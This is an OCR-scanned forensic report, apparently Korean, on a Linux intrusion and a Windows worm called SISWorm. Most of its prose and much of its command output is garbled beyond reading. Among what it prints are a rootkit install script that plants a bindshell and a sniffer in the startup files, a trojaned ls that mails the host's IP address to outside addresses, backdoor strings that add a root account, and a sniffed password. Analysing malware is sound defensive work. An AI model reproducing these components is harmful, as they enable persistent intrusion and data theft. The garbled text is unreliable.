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AQAE openssh o #FAL o g3te] AAoNH FEADS 533, o o §ateljacob o2k ofolrE
AASAT. 1 F, WhA MBS ANsn wne) Axd ARYS ARon HFHo FEAN Hxo,
~UnE A5

FA) 2. SISworm &4

e AATE ABHUPPFIOE FE theol HBWS Ao BeHm YAy FAo| dA1iEE 24
S3 o TUe Azde] xS sleluele] HEmdgE AClER P&e Asshl fHrh =@
Wocalhostiipss %8 WAt FAAeNA Y Azue] AL sHtse ipsSE AL AR =T o]

S7kstA Ao,



A4 1 A 4

1 F4.
D A< history
Ivarflog o Folls 215 &A%t e 2 IJAES Ldobd + A

=
Al 2t (HE=1
67 17:22:11 jacob HIAO| MAHE .
17:22:56 AFE Xt jacobOl su HE2Z rootE switcha.
z € 0|25l USH 22 21X s U8
xinetd-2.3.4-0.8.i386.rpm
17:45 . .
openssh—clients—1.2.2-1.i386.rpm
openssh-server-1.2.2-1.i386.rpm
}\|AE-|I XHAlIF
17:47 _ _ o
ez cst MIIXE X6t A s 2iecz ==&,
. xinetd € O|Z3dtH telnetdE ASHGtH D StU2LE AIHE .
' (/usr/sbin/in.telnetd Jt §IAE 2oz mee )
1751 jacob O] su HHE2Z rootlt &
rz 2 0l26tH in.telnetdE 41&
17:54 _ _
Mz 22 ol¥E IIs&0l =3
e xinetd XHAlZ
‘ O 22 telnet2 MEIISSHH 6HJ1 |8 MAXHCE 2L
17:57 z 2 0|26t apache-1.3.23-11.i386.rpms UIR=Z =
17:58 apache H&0| MHE
18:04 apacheES &l &gt
18:06 jacob AFEXIJF euid=02Z Z Q! &t rootZ switchgt.
18:23 sz2 AME206I2 NC (netcate 2 2¢) £ d&8H,
. rz 2 0|26t proftpd-1.2.8-1.i386.rpm& CISZE 20t A XIGHD A SR 2L A TH
’ St
19:48 A AE THAIZ
syslogd XHAlZ
20:01 ys1og ] ]
°fF ME Jte 200t gl - X AXMES ItsH0l US.
20:19 jacob Ol rootZ su &
20:20 rz 2 01830 openssh-1.2.2-1.i386.rpm=2 Ct22 =&
20:24 A AED THAIZ
- 192.168.131.1 OlA jacobOl & Hol 201 Al £ 27921 & . (uid=0)
62 82 00:47
e ip F4a= U FHO Nz & Jts480| U2,
e srload Ol= eth0Jt promiscuous Z2=2 HEF.
‘ AL 2XSAS sS40l =8




2 A A=
A z="el dXEo] Y- Z4F 7RSS A Bt
bash-2.05b# strings /mnt/root/install.log | more
Installing 298 packages
Installing glibc—common-2.2.5-34wow.
Instal ling hwdata-0.14-1.
Installing indexhtm|-7.3-1wow.

Instal ling openssh-3.4p1-1wow.
Instal ling openssh—clients=3.4p1-1wow.

2 A3}, opensshdo] 34 ¢ Aoe=w 3¢l Hth openssh & A 3.8 744 U glom 34=
20020l 2 MHoz HbF HeFHo] AL THeA ol lc\:‘r A= o] wzlef openssh °f s 53t
= HAYH exploit & o] &3l YAANA root BES 53 A2 HAT

3 A4
A QA= openssh o] H b= o] &3t HAANN FEAI} S 355}
oltE AAstdt. I F, @A bl AAsta 2] Al=E A

i1, o] & o]&3tHjacob olgt= oF
_1_?]_
A Mo ~UHE HX3 Ao2 Helth

9e Azom HFHoE TE

N

HZx
HAAE B4 A3}, Alage] Mo, FEZ ~YH7F A HAS 7Hsido] Eom, o]#Hg AN S Hig o
2 A"l oug MEIF dojyt=XA mmu}.

1) Rootkit
(O Ambient’s Rootkit
Uk oz AYA7E FAdel AFsA AaE 712 AHYS &0l 317] st wlzoje} FE
& AAdY. FEZL BE EAE 7171 S8k 0%37114 gufe] 27 BodlE [dev T I EE
of #H ALES A= AU Bk olHES ek, [dev A EL oA Qo] FY QA AE
< ZolH gk

bash-2.05b# find /mnt/dev —type f —print

/mnt /dev/MAKEDEV

/mnt/dev/ptyxx/.file

/mnt/dev/ptyxx/.proc

/mnt/dev/ptyxx/ .addr

o] o]EEZ Hol, Ambient’s Rootkit o] AX]¥ ZAo=Z H<QIt} Ambient’s Rootkit 2 top,
syslogd, sshd, ps netstat 5 F8 WHES W=, o] /dev P ET ] FAX FLo Ygol u}
g AUAte] AL 7= Ef_h?}. Ambient’s Rootkit ¢ F& Wz W& t23 2o}



S e
top /dev/ptyxx/.proc IO XHE 0189 ZZ2HNAE 2
syslogd /dev/ptyxx/.log L0 XNEE SXE2Y AL 218 HIIA £S
sshd NEE IHAREE Mol FEE=Z 279 Jis
pS /dev/ptyxx/.proc N XHE 0|59 ZZHAE =2
pstree /dev/ptyxx/.proc N XHE 0|52 ZZHAE =2
netstat /dev/ptyxx/.addr Off XIdE E& P =4, UID, ZEHS =&
I's /dev/ptyxx/.file I X&EE I L CHELE 52
killall /dev/ptyxx/.proc TN XHE 0|82 ZZHAE =2
login rkd00r2 21018t AL REH =S
etc /dev/ptyxx/.file TN XNYE I L CHELE 5L

@ [dev
o] AHE nigto g AA [dev o FUYES FAS] BT}

AYAE netstat S 2 HES T 43S Ewo 192.168.131.136 ipF4 % 2222 XEWMSE F4#
w7137 skt

w3k Is Aol sniffer, bindshell, rootkit, shifflogsk ¢ ©]&& 7IA&= L& F7]2 AT (Y
TOoE Hol, 22Uyt EHZE AL viRlE A= MR E AHEIS 7heA ol A

ps Aol cgiback,cgi, bshell, srload & 7|12 Fom, o] HA wWzolel AUHSE %77 Yo

= AZe.

@ ]:ﬂz -_11'01

AYAE $71 04 WG Qo] o[|AAA Ho} Heprh.

bash-2.05b# find / —-name sniffer

/mnt/usr/lib/librk/rootkit/sniffer

bash-2.05b# Is -al /mnt/usr/lib/librk/rootkit/

total 1400

drwxr—xr-x 2 root root 4096 Jun 8 18:11

drwxr—xr-x 3 root root 4096 Jun 8 01:48 .

Ll e 1 root root 302 Jun 8 18:11 .snifflogsk
—TWXTI =X =X 1 root root 15380 Jul 31 2002 bindshel
—TWXT=XI =X 1 root root 8092 Jul 31 2002 cgiback.cgi
—TWXTI =X =X 1 root root 603 Jul 31 2002 hideit
—TWXTI =X =X 1 root root 352 Jul 31 2002 install
—TWXTI=XT =X 1 root root 9368 Jul 31 2002 logclean
—TWXTI =X =X 1 root root 184023 Jul 31 2002 Is

—TWXT =X =X 1 root root 258612 Jul 31 2002 netstat
—TWXTI =X =X 1 root root 47388 Jul 31 2002 ps

—TWXTI =X =X 1 root root 6872 Jul 31 2002 sniffer
—TWXT=XT =X 1 root root 11028 Jul 31 2002 targets
—TWXTI =XI =X 1 root root 817052 Jul 31 2002 x3




FA7HA gl E0] Hol=H, ©] T, Is, ps o] HEHA=A FUs) Eunt

bash-2.05b# strings /mnt/bin/Is
/lib/ld=1inux.so0.2
__gmon_start__

Jusr/lib/.ark?

echo "SUBJECT: ‘/sbin/ifconfig ethO | grep 'inet addr' | awk '{print $2}' | sed
/usr/|ib/sendmail tuiooitu039t09g3@bigfoot .com

echo "SUBJECT: ‘/sbin/ifconfig ethO | grep 'inet addr' | awk '{print $2}' | sed
/usr/lib/sendmail bnadfjg9023@hotmai | .com

echo "SUBJECT: ‘/sbin/ifconfig ethO | grep 'inet addr' | awk '{print $2}' | sed
/usr/|ib/sendmail t391u9t0qit@end-war .com

echo "SUBJECT: ‘/sbin/ifconfig ethO | grep 'inet addr' | awk '{print $2}' | sed
/usr/lib/sendmail mki629690@yahoo.com

U fileutils
vdir
% (%s) %s

/dev/ptyxx/.file <= &J|12X ol IIY S20| Y= Y
capi20.20
.ark?

t

rr

o S50 Y= UHER

ol
30

ptyxx <= =J| DXt

Try “%s —help' for more information.
Usage: %s [OPTION]... [FILE]...
List information about the FILEs (the current directory by default).

e 's/.xi/l0" |
e 's/.xi/l0" |
e 's/xi/l0" |
e 's/xi/l0" |

2208 F3ho 9 W8Sl UeE AR Hol AxH ARE AT malE HEES
Bt} =3 [deviptyxx P EZ Q] file &S Fxde 22 Hol 9 Hygol:=
=3 4=z 48 ydF ok

A% 4Rw @ o shell 2APES B e, fev/ DA o] gl

gge ddate 2o AL ¢ 4 ok

3} Ao

a
A7 23]

o) =
ML

-

rootkit 72 & 4




2) Sniffer
AAA7Y w7114 Y /mnt/usr/lib/librk/rootkit/sniffer ¢ A5 F ol A, .snifflogsk = snifferZ o}
W EAdo] AREE BdE Bl

bash-2.05b# strings .snifflogsk

Time: Tue Jun 8 18:10:06 Size: 153
Path: 192.168.131.1 => 192.168.131.136 [23]

#'lotus
test123

su -

test123

tar —xvf root
cd root
logcelean
./logclean
ifconfig —a

A7 sniffer T2 1L stringsZ B8] BW promiscuous modeZ FFEH RE L Foh) EF
B29S snifflogsk ool A= AS 4323 @ 5 Aok

bash-2.05b# strings sniffer
/1ib/ld=linux.s0.2
libc.so0.6

strepy

joct|

PTRh

uyf;{

Time: %s Size: %d
Path: %s
= %s [%d]

Exiting...

cant get SOCK_PACKET socket
cant get flags

cant set promiscuous mode
/dev/nul |

ethO

.snifflogsk

cant open log




w3 install 2IYEE FAAT HAL FASS AAE A= AYe s=d oy 2w

srload k= o]0 2 WAt AXx 3ch

bash-2.05b# strings install

#! /bin/sh

chown -R root ./*

co —f ./ls /bin/ls

cp —f ./bindshel| /sbin/bshell

cp —f ./sniffer /sbin/srload

cp —f ./cgiback.cgi /var/www/cgi-bin/

echo "/sbin/bshel|" >> /etc/rc.d/rc.sysinit

echo "/sbin/srload" > /etc/rc.d/rc.sysinit

chmod uts /var/www/cgi-bin/cgiback.cgi

/sbin/bshel |

/sbin/sr load
sniffer T2 13- srloadet= ©]E S Z bindshell ZZ 132 bshello]g o]Fo02 WA FHojglow F
BN A5 APS el resysinit ol 7k E ok

bash-2.05b# cat /mnt/etc/rc.d/rc.sysinit

touch /.autofsck

sleep 1

fi

wait

/sbin/bshel |

/sbin/sr load

3) Backdoor

D 7 A AdF=AE bindshell o] oo 1S F3t WEo]2 Hol= cgiback.cgi Z2IHAE YA

Hlz HEEe] HX e el s

bash-2.05b# strings cgiback.cgi
/lib/ld=1inux.so0.2
libcrypt.so. 1

<OPTION>create new root account

OV: Error in executing ps!

OV: Process list (ps —axu)

createtnewtroot+account

echo 'syscall:%s:0:0::/root:/bin/bash' >> /etc/passwd

New Root Account failed!

New root account created as user: syscall : with your rootkit password !!
executetcommand%3A

OV: A command must be specified!




cgiback.cgi A3 Y stringse B Ay thd
(cgiback.cgi & AA=Z AEHAA HA 7& 5 A= WEofolt})

o
N
off
ttlo
ol
rr
=
b
2
0,
pa
o
ft
dou
-0,
o
)
Q
£

obg] s}H-& cgiback.cgi T2 AP Al EHFolH FAAE Command HHAZ Thefst
2o ud 5 Aok
[execute comrmand: =] Address/Command:|1s -1 /root

Execute.. |

Wsers connected:

Q:43pm wup S5:02, 4 users, load swverage: 0.00, 0,00, O0.00

USER TTY FROM LOGINGE IDLE JCPU PCPU  WHAT
root ptss0 0.0 S:1lpm £:15m 0.15s 0.155 bash
root ptsfl 0.0 S:41lpm 17:55 0.623 0.383 bash
root prss2 0.0 S5:47pm 28:32 0.04= 0.04= bash

Q:d4dpm up L5:02, 4 users, load average: 0.00, 0.00, 0.00

TUSER TTY FROM LOGINA IDLE JCPU PCPT  WHAT
root pts/0 0.0 Srllpm 2:1%9%w 0O0.15s 0.153 hash
root prasl 0.0 Srdlpm 15:44 0.623 0.383 hash
root prssz 0.0 S:d47pm 29:21 0.04= 0.042 hash
total 136

drusr-xr-x 4 root root 4096 Mar 2 19:06 Desktop
-ru-r——r—-— 1 root root 26541 Mar 2 10:16 auto_inst.cfg.pl
-ru-r——r—-— 1 root root L0264 Mar 2 10:16 ddebugy. log
Aruxr-xr-x 5 root root 4096 Mar 2 18:41 downloads
=FU=r==F== 1 root root 18702 Mar 2 10:13 install.log
druxr-xr-x 3 root root 4096 Mar 2 17:16 ns imap
drix-—----- Z root root 4096 Mar & 17:16 nsmail
—EW-—————= 1 root root 187 Mar 2 21:25 passwords
drux——--—- Z root root 4096 Mar 2 21:15 twmp

U AA| gk cgiback.cgi o] 75 H B4 g W& oo Had EAE xSy vidth
http://www.giac.org/practical/Jeff Holland GCIH.doc

o}3}x) ¢] errorlogE B,

bash-2.05b# cat /mnt/etc/httpd/logs/error_log

[Mon Jun 7 18:04:44 2004] [notice] Apache/1.3.23 (Unix) (Red-Hat/Linux) configured —— resuming normal
operations

[Mon Jun 7 18:04:44 2004] [notice] SUEXEC mechanism enabled (wrapper: /usr/sbin/suexec)

[Tue Jun 8 00:49:40 2004] [notice] SUEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Tue Jun 8 00:49:40 2004] [notice] Accept mutex: sysvsem (Default: sysvsem)

)

SUEXEC = suid 7} 29 9¥S& 233 u) enable ¥} Z, cgiback.cgi o suidE Ao]Fa 2392
[e]
A

o 1t}

P
= ¢ F



olutol], logE A|$-= logclean & A E¢]th.

bash-2.05b# strings logclean
/lib/ld=1inux.so0.2

/var/log/httpd/error_log
/var/log/httpd/access_log

settimeofday

utimes

File %s fixed

Track Vanisher by Mos Tarac

Usage: %s <user> <host> <IP> Example: ./izbtrag syscall mypc.myhost.nu 66.66.66.66

Lastlog permission denied.Getting outta here.

Couldn't create backup file! You have to have write permission to the folder!! %s
—= EXCELLENT == Your tracks have been removed!!!

bash-2.05b#
o] logclean 54 AL&AN ipss AAMTH 3T AR ROE dBHOE AT ZEIHo0]
=

4) =]

o] A+= Ambient’s Rootkit° A=)t Is, ps, netstat 5 F8 Al2" $3YS WEIFPoH, oS o
&35t A4le) 9de #71Ha skt

L3759 99
Ag AzEe) Ad WAL s mw,

bash-2.05b# cat dmesg

Linux version 2.4.18-4 (root@localhost.localdomain) (gcc version 2.95.4 20010319 (prerelease)) #1 SMP Thu Aug
22 18:36:08 KST 2002

AY W do] 2.4.18-4 91 Ao Z el

o] Mol 7' ptrace_kmod 5o AWAHQ FH Aol A, ojn] o] & o]§st] EQA rootA TS
Y58 A& exploit ZEE] A A=A QU

4 AFA
AYFE A2De YPET Sede tud ofelem 99T Adolth A Axde] A AYAT} A
e 93 gord FHEon, o2 Bugel FUAT AxWe o RS ojgs WSty ofd
AAE o wghe L 9 Yol

3=

=

F EOE WEolsl WxRde AT A FEI o, oY
235 A AR A4S e 2 :

rlo
do
O
rf'
e
o
I




. A
- Al 2® Zto) winlogonm.dll, winsystemm.exe #}= LS AYAd)

S god ge dAxEY 718 Frheh

HKEY_LOCAL_MACHINEWSof twyretiMicrosof tWWindowsWCur rentVersionWExp lorerComD | g32WVersion
HKEY_LOCAL_MACH INEWSof twyrettiMicrosof tWWindowstCur rentVersiontRunttwinsystemm.exe,
HKEY_CURRENT _USERWSof twar efKazaatfTransfer#DIDir0

- StEAYHE 5T AOlER HE&3
- IPC$E o] &3ttt
- GetProcAddress®} LoadLibrary 4= ©]-83}¢] wininet.dll 5& =t}

. wholule] #4

stelo] Ay Gskr] Mol UEYD EdY S50 4L BAG =
A&olR w3 FAF Ao YAtk AT HARY ojdie] WO PN FHEL FZdok Pom,
g3 2o Fad DA PR ooyl s Paom P9 Txs JFL detatrh

D. 34y
SISWorm.exeE PEID & AAMEAH th5-3 o] upx & AP4F4H.

7€ PEID v0.92

File: IC:'WDocuments and Settings W= 21 EHWHIES SF31WSISWorm-binary E

Entrypoint: 00008600 EP Section: LPX1 =]
File Offset: 00003400 First Bytes: 60,BE,00,50 | > |
Linker Info: 6.0 Subsystem: Win32GUI | > |

UPX0.89.6-1.0271.05-1. z'iin'i"ﬁé?ﬁh;é—ﬁsiﬁ'"' e e
| Mukiscan | | Taskviewer | | options | | about | :
[V sStay on top

oAl £4& 98t upxl2dw.exe 2 H53 o] hE< sfAls A A27]7F 16kl A 20k A=

=o4.

C:WDocuments and  SettingsW A BIWHlE  SHAWSISWorm-binary20040610Wupx124w>upx.exe
SISWorm.exe
Ultimate Packer for eXecutables
Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002
UPX 1.24w Markus F.X.J. Oberhumer & Laszlo Molnar Nov 7th 2002

File size Ratio Format Name

20992 <- 16384  78.04% win32/pe SISWorm.exe

-d




’Unpacked 1 file. ‘

CENY "ed F2 EXAY RS

BAIRE B MM Z1RZAQ]D RS vlolyg] o] 23E 2EHES FE3 B ofd £ Z&
TAEES A2 & doh B4S SR £ FAE0] rotl2 ¢ rotld P o= Id H ALs &
= 11:]_

TR

WW192.168.1. 120 IPC$
Windows2000

#lsarpc

Isass.exe

.text :004A10F4 dd offset aVpd2004Svany ; "vpd2004-svany"
.text :004A10F8 dd offset aNpgvingvba_pen ; "npgvingvba_penpx"
.text :004A10FC dd offset aFgevcTvey2 Ooq ; "fgevc—tvey-2.0oapbz_cngpur f"
.text:004A1100 dd offset aEbbgxvgkc ; "ebbgxvgKC"
.text:004A1104 dd offset aBssvpr_penpx ; "bssvpr_penpx"

.text :004A1108 dd offset aAhxr2004 ; "ahxr2004"

.text :004A110C dd offset aAvp ; "avp"

.text :004A1110 dd offset aSyma ; "syma"
.text:004A1114 dd offset alcrosof ; "icrosof"

HXAER R AEY
Gerhkmf qWAuof cger iKubpckgiO i  fabhJafguchiQ | dxc fafOcaPxs32WJafguch

GerhkmfalAuofcger hitKubpckghOi f fabhJafguchiFib
Gerhkmf gWWmzmmHf mbgr g f

SHMOIE BERH AEZ

SQH / THHD/1.1
Tegh: ocbgixh.gwubrcggo.oc.wf

fe) AmRE PAo ~ELSL A g2y F

g Agstel vad 3

A
u
oo
=S|
el
L
u

S

Encoding String : vpd2004-svany
Decoding String : icg2004-final

Encoding String : npgvingvba_penpx
Decoding String : activation_crack

Encoding String : fgevc—tvey-2.0ogpbz_cngpur f
Decoding String : strip—girl-2.0bdcom_patches

Encoding String : ebbgxvgKC
Decoding String : rootkitXP

Encoding String : bssvpr_penpx
Decoding String : office_crack




Encoding String : ahxr2004
Decoding String : nuke2004

Encoding String : avp
Decoding String : nic

dXAER =&z2d L2
SoftwyreWMicrosoftWWindowsWCurrentVersionWExp|orerWComDIg32WVersion
Sof twyretMicrosof t#WindowsCur rentVersiontRun

Sof twyreKynyyWTrynsfer

SHA0IE H=523 02

HOST consult.skinfosec.co.kr
GET / HTTP/1 .1

3. vhold g AIEA
1) SISWorm.exe 7} A3 =™ main() 5o A SiSWorm.004A48F4() 45 ZY3A =Y o] FgFoas H
22(SwebSipcSmtxS0) B4, dA =8 2259 FrE SEF3t Al=®lES 22 stA

OliyDbg — SISYWorm.exe — [CPU — main thread., module SISYWorml

File

Miew Debug  Plugins Ciptions Window  Help

4 x| w00 WE[eE] PE| L ] =f n]iEM{riwE|c|r[E[B|R[...[5] S[E[ZF]
[EE e rgCSEFDFFFF CEELE IShloxrm. Ba4R4SEE
- 2 FIEZEEan CALL IShoxrm. @E4R4BED
= 2 sd4EdEaEnE CHLL ISuoxrm. @a44R4000
* F FOF EOI
- E OF ESI
- C2 LEAUVE
L. C= ETI
= = FL=SH BF
- EEC Moy EEF.ESF
1EC =4dezoaga| SUB ESE, 234
1=} FUSH =1
T FPUSH oI
=2 ATAalaaaa CALL ISuorm. Aad4R4BESd
= 48888898 CRLL IShWoxrm. @84/4320DA
2 I4azann = n = 234 (564.)
{uE=]=y CCFDFFFF LEﬂ ER=, DWORD PTR =5: CEEF—2241
H @a FPUSH B o = ag
a FLUSH
2 4cacooan CHLL <JMP ZMSVUCRT . memsst > MEMsst
- E_Z22224A0R MO ESI, SIlSWorm. BE4A2222
SHH = 070 Fa LEH EJI.DD.IDRD FTR ZS:[EEF—181
- A {u} H OI1, ODuoRD CE:
PAE - BS HMous DWORD FTR ES:=:[EDI].DWORD FTR DS: CE:
FAFE - BS Mous DWORD PTR ES:=:LCEDIJ.DWORD PTR DS:CE!
A4IEE - RE Mouvs DWORD FTR ES:=:L[EDI]1,DWORD FTR Ds: CE
<A 3B 1 - BE_Z2z224H00 HDU ESI, SISWorm. BB4F|333
=1=1-% - sO70 E& EDI.D[IJD O FT : CEEF—=z/A1
FEF - HDUS DuWORO FTR ES:EEDI].DNDRD FTR DS: CE:
EA - RS Mouvs DWORD PTR ES:=:LC[EDI].DWORD PTR DS:CE
- HE MO (ul T = CEDI, D CE!
SEC - 8bha85 CCFOFFFF| LEA EARX,.DOWORO FTR S5: CEEBF—Z354]
- 5B FLE EAR
= ln=] - AL HMOus DWORD FTR ES: CEDI],.DWORD FPTR DS: CE!

A43Cq - E2 ZBFFFFFF CﬂLL SISNOPM BE4R42F 4

Ha3C9 - 22ZC4 19 FIDD
[CC - BA aa ExitCode = @
ZCE|L. FELIS S<41@a4Aaa CRLL DNDRD FTR DS: [<&KERHELSZ.E= itFroce ExitProcess

- SF FOF EDI

2 20 - SE PDP ESI

- 1
4A420H| FE SIEC 98918888 SUB ESF

A43IER - 2D44z4 @@ LERA EHX DNDRD PTR =5: CESF]

Ha49E4 - 5@ F'USH ER pWSAD=t S
SES - BA Az = Requestedlersion = 2 (2.68.)
FET - FF1%S DElad4paa CRLL DWORD FTR DS: [<&WSE2 _SZ.#115>] WSAStartup
2ED = S1C4 I@E@laoaal fDhD SP. 138

A4zFE2 L c2

H =1 EEF

A4 IFES - SBEC How EBF.ESF
IE7 - S2ZEC 38 SUE ESP, 25
A - E& H =
H439FE = B F'USH EDI
- BH A& LISH &
2FE = BE Z4Sd4A0a HDU ESI SISWorm. 384AS454 ASCII "ABCDEFGHIJELMHOFQRSTULIW=YZ ™
eandneol| L SR FIdE e
——

e T a Toscrr ]
Analpzing S1SWwiorm: 28 heuriztical procedures, 147 calls to known functions |

2) SiSWorm.004A43D60 oA = #A2=H 71& A3

- Softwyre\Microsoft\Windows\CurrentVersion\Explorer\ComDIg32\Version
NFAQ dol g ud et 2o
subkey = "GcrhkmfaWAuofcger hiWKubpckgWOi f fabhJafgucbWQldxcfafOcaPxs32WJgfguch”
RegOpenKeyExA(HKEY_LOCAL_MACHINE , Subkey, Reserved, KEY_READ, pHandle);
RegCreatgeKeyEXA(HKEY_LOCAL_MACHINE , Subkey, Reserved, Class, options, KEY_WRITE, pSecurity, pHandle,
pDisposition);
RegCloseKey (HKEY_LOCAL_MACHINE) ;




3) SiSWorm.004A42920 3t= A 2~® Zrjo] winlogonm.dll Y-S AASA =Hw. dl Lo WL
PG EAsE 8-S notepadexes o] &3t 71=3A FHH, o33 2 APIE o] &3tth

£ text

SiSWorm.004A4292() // dI| MA TASl LHE2 .text:004A1CFO dword_4A1CFO
{
SiSWorm.004A4B0D(eax, "kubxcscba.pxx"): <—— winlogonm.dl| Ol2ts EXLE2 2E
GetSystemDirectoryA()
GetTempPathA()
CreateFileA()
GetFileAttrivutesA()
CloseHandle()
IstrcpyA()
loadLibraryA(winlogonm.dl|)

OllyDbg - SIS¥Worm.exe - [CPU - main thread. module SIS¥Worml

File Miew Debug Plugins  Options  Window  Help

$4 4| o vjEMTIwH[c|/|K[B[R|.|5]

EEEEEETNL FETH W [
BE404Z92 FUSH_EEF =
aa4A4293(] « 8BEC Moy EEF,ESP B
aa4p4295|] « 21EC 2CelasEs SUB ESP, 120 ED
aEdnd=9e|| . &2 PUSH EEX B
agqndzsc|| . 56 PUSH ESI Eop
ga4n4zs0|| . &7 PUSH _EDI Eep
aEapazoe || . 2048 EC LEA EAX,DWORD PTR S5:[EEP-141 Eer
BE4A4ZA1]] . &8 4CS24AB6 FUSH SISWorm. B84AS34C ASCII "kubscschba.pra™ EDI
BR4A4ZRE(] « 58 FUSH EAX
ARdRazA7 || . EB 61826888 | CALL SISWorm. AA4A4E80 EIP
aa4p4zAc|] « SBPE BS I} ESI,CWORD PTR S5: [EEP+21] B
AE4R4ZAF (] « SB1D 4Clad4ABEE EEX, OWORD PTR DS:[<%KERMELZ2Z. lstrca] kernel32. lstrocatA Pl
AR4A4=EE|| . 59 ECH A
Ba4A4ZBE(] « S38FF EDI,EDI 7o
aa4p4ze2(] « B9 ECH g
ARdAdzE5 || . S9BE BCA1ABEES OWORD FTR OS:CESI+1@C1,EDI Ta
Aa4A4ZBF|] « 8970 B2 MOL OWORC PTR SS: CEEBP+21,EDI oo
Aa4p4zC2|| » 2970 a8 rCHP OWORDC PTR S5: [EEBP+21,EDI oo
Ba4R4ZCE (] o755 14 JNE SHORT SISWorm. @ad4A4208
aa4R4zCc7 || o 8085 D4FEFFFF || LEA EAH, OWORD PTR S5: [EBP-12C1 EFL
aaanazco|| . 62 12010888 FLSH 118 BufSize = 118 (2808.) =T
aa4p4z02(] « 58 FUSH ERX [BuFFer =T1
aa4a4z02|) « FFIE 48184A86 ] CALL DWORD PTR DS:[<&KERHEL32 GetSystelkGetSystenbirectoryA T3
aadAaz09|| .~EB 12 JHP SHORT SISWorm.383A42E 215
aa4a4z0E|] » 8085 D4FEFFFF|]| LEA ERX,OWORD PTR S5: [EBP 1201 T4
BE4A4ZEL(] « 58 FUSH ERAX Euffer zTC
aaanazEz || . 68 12016668 PUSH 118 [BuFSize = 118 (288.) i1
aa4R4ZEY|] « FFIS 441@4A686 ) CALL OWORD PTR DS: [<%KERNELSZ.GetTempP{bkGet TempPathA 2T7
AE4R4ZED(] » 28BD D4FEFFFF || CHP BYTE PTR S5: [EEBP- 12C].B
AadRazFe|| .74 6E JE SHORT SIShorm. AA3A436 FoT
aa4A4zF&|] « 8085 D4FEFFFF| )| LEA ERX, OWORD PTR S5: [EBP 12C1 Er
BR4A4ZFC(] « 58 FUSH ERX [Strlng
ARdA42F0|| . FF1S 4@1@dA@s) | CALL OWORD PTR DS: [<&KERMEL3Z. lstrlenf| L l=trlenA
aa4p4263|) o 28BCAS DIFEFFI) CHP _BYTE PTR SS5: [EEP+ERX-1201,5C
HE4H4ZEE || 74 BE JE SHORT SISWaorm.884R431E
aa4p4z60() « 2085 D4FEFFFF || LEA EAX, OWORD PTR S5: [EBP-12C1
aa4R4212(] - &8 48334A80 PUSH SISWorm. 884A23348
aaapas12|| . 5@ PUSH ERX
aa4a4312(] . FFD3 CHLL EEX
aa4A421E(] * 8D45 EC LEA EHH OWorRD PTR SS5: [EBP-141
aaanas1E|| . PIISH 3
HA40421F 1) . SDBS D4FEFFFF LEA EHX OWoRD FTR S5: [EBP-12C1

PR T s z ™ e RO
Analysing 515Waorm: 28 heuristical procedures, 147 calls to known functions | | Fauzed
. — . _ o
4) SiSWorm.004A44BF() 3t+= Al 28l Zrjo] GetSystemDirectoryell #3le] CreateFiledt+E o] &3 3}
) = i = = 3= 3 ]
ds WET Ao ol ¢E3t Holglew EFslelw winsystemmexe ZhE Aoz A H

™, 53 2 APIE o] &3ttt

{
SiSWorm.004A4A6F (eax, "jvaflfgrzz.rkr"); <—— winsystemm.exe Olets EXL2 CIRY
GetModuleFileNameA(); // T2 IOl AU XE L0t

IstrcpyA();




GetSystemDirectoryA();
GetTempPathA();
IstrienA();
SetFileAttrivutesA();
CreateFileA() |

}

OllyDbg - SISWorm.exe - [CPU - main thread. module SIS¥orml
|E| File V“iew Debug PFluginsg Options Window Help

CRES HU wijsi #3145 3| o L[E[M|TIW/H|C|/|K|B[R|.|S]

2

EEETEETTS THC_EAx ~ | F=
Boand<en|| ;29 LEAVE il o
madnd4pe| L, 3 RETH Eon
BE4A44EF | P8 EE FUSH _EBP o
gadndacal| . SBEC MU EBF,ESP Ebvi
adpdacz|| o S1EC a4aze@ea| SUE ESP, 234 Eor
Badndacs | | 53 FLUSH EBX Eop
madnddacal| o B2 FUSH EST o
a4R44cal| . 52 FUSH EDI o
Gadand4ce | . 2045 Eg LER ER,DUDRD PTR S5t (EBP-13]

Be4a44cE|| L E5 Bos3anes | FUSH SISWorm. BE4ASSE RSCIT "juaf Lfgraz. the'™ EIF
4Rz | . 58 FUSH EAR Coa
podndeDd|| . ES 9ee5poee | CALL SISWorn.BO4A4AEF s
gaandans|| . 52 FOF e
Coanaina|| o BbeS COFOFFFF|LER EAi,DUORD PTR 35: (EBP-2341 g
gadh44Eal | . 52 FOP ECH £
Ba4nd4El (| . 230E OR EBX, EEX Sas
Ba4p44Es(| . 63 416889 | FUSH 184 BufSize = 184 (268.) D&
Ba4R44Es | o 58 PUSH EAY PathBuffer 0@
Badnd4Es| | . B3 PUSH EBX hilodule =» MULL

Gednd4EA|| . FF1S &41m4A@al CALL DWORD FTR DS:[<%KERMNELSZ. GetModu lef Lastody 1eF i lefansn EFL
aadndara| | . 9B45 @5 HOU R, DUORD PTR 55: [EBP+5] =T
GBadnd4rz|| . SE20 2@18408( MOV EOT,OWORD PTR DF: [<EKERMEL32. lstropd kernel32. Lstropwh 20
Beand4ra|| . 8020 CCFOFFFF|LER ECH,DWORD PTR SS5: [EBP—234] i
oodRdarF|| . B5 tmoieees | ADD ERX, 118 215
GEdndeadl| o E1 PUSH EL String2 SR
peandcas | | Se PUSH E Stringl e
BadR4sac | . 5345 FC HOb DWORD PTR 5: [EBP-41, EA A
ga4R45as | . FFO? CALL EDI Lstropyh 213
2a4ndcoe | . 2835 4C104A08| HDU EST DUORD TR DS: [CLKERNELS2. Lstroa kernel22. Lstroath

BE4A4E] 1 MOy OWORD FTR S5: [EBF+&1, EBX S
Soanasial| > 5320 e rCHP CWORD PTR 55:[EBP+21,EEX Foul
BE4R4E17 (| TE 14 JNZ SHORT SISWorm. BE4A4E20

Ba4ndsio|| o 085 DeFEFFFF(| LER EA,DWORD PTR $5: [EBF-138]

Ba4p4siF (| o &3 1s01e@pe || FUSH 115 BufSize = 118 (288.)

BadndEz4 | . BB PUSH EAX [BuFFer

peapdsze(| L FF1S 4g184A0a|| CALL DWORD PTR DS: [<tKERMEL3Z.GetSystei LEetSystenDirectoryn

Be4R4526(| vEB 12 JHE SHORT SISlorm. BE4A453F

Ba4R4520(| > 8025 DAFEFFFF|| LER ERY, DWORD PTR $5: [EBP-13@1

paandczz | L 58 FUSH EAX Buffer

padndcad|| o E5 1smiemes (| PUSH 112 [BuFSiae = 118 (28@.)

Ga4p4529(| . FF1S 44184p0al| CALL DWORD_PTR DS:[<&KERMEL3Z.Get TempP|LGetTampPathA P
